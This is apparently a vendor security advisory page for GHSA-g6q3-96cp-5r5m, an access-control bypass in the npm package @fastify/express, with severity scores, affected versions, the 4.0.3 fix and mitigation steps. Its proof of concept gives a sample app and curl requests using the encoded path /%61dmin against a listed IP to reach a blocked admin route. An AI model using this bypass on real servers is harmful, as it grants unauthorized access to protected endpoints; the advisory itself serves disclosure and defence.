GHSA-g6q3-96cp-5r5m is a high-severity (CVSS 8.4) CWE-177 vulnerability in @fastify/express. A fix is available for @fastify/express — see the affected versions and patch details below.
@fastify/express vulnerable to Improper Handling of URL Encoding (Hex Encoding)
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-g6q3-96cp-5r5m.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-g6q3-96cp-5r5m plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,166 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@fastify/expressnpmDescription
Summary
A security vulnerability exists in @fastify/express where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.
Details
The vulnerability is caused by how @fastify/express matches requests against registered middleware paths.
PoC
Step 1: Run the following Fastify application (save as app.js):
const fastify = require('fastify')({ logger: true });
async function start() {
// Register fastify-express for Express-style middleware support
await fastify.register(require('@fastify/express'));
// Middleware to block /admin route
fastify.use('/admin', (req, res, next) => {
res.statusCode = 403;
res.end('Forbidden: Access to /admin is blocked');
});
// Sample routes
fastify.get('/', async (request, reply) => {
return { message: 'Welcome to the homepage' };
});
fastify.get('/admin', async (request, reply) => {
return { message: 'Admin panel' };
});
fastify.get('/admin/dashboard', async (request, reply) => {
return { message: 'Admin dashboard' };
});
// Start server
try {
await fastify.listen({ port: 3000 });
} catch (err) {
fastify.log.error(err);
process.exit(1);
}
}
start();
Step 2: Execute the attack.
➜ ~ curl http://206.189.140.29:3000/%61dmin
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot GET /%61dmin</pre>
</body>
</html>
(fastify express)
➜ ~ curl http://206.189.140.29:3000/%61dmin
{"message":"Admin panel"}
It differs from CVE-2026-22031 because this is a different npm module with its own code.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @fastify/express | all versions | 4.0.3npm install @fastify/express@4.0.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @fastify/express, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @fastify/express to 4.0.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-g6q3-96cp-5r5m is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-g6q3-96cp-5r5m can be triaged on real exposure rather than presence alone.
Tailored to GHSA-g6q3-96cp-5r5m. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-g6q3-96cp-5r5m in your dependencies?
O3 Security finds GHSA-g6q3-96cp-5r5m across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.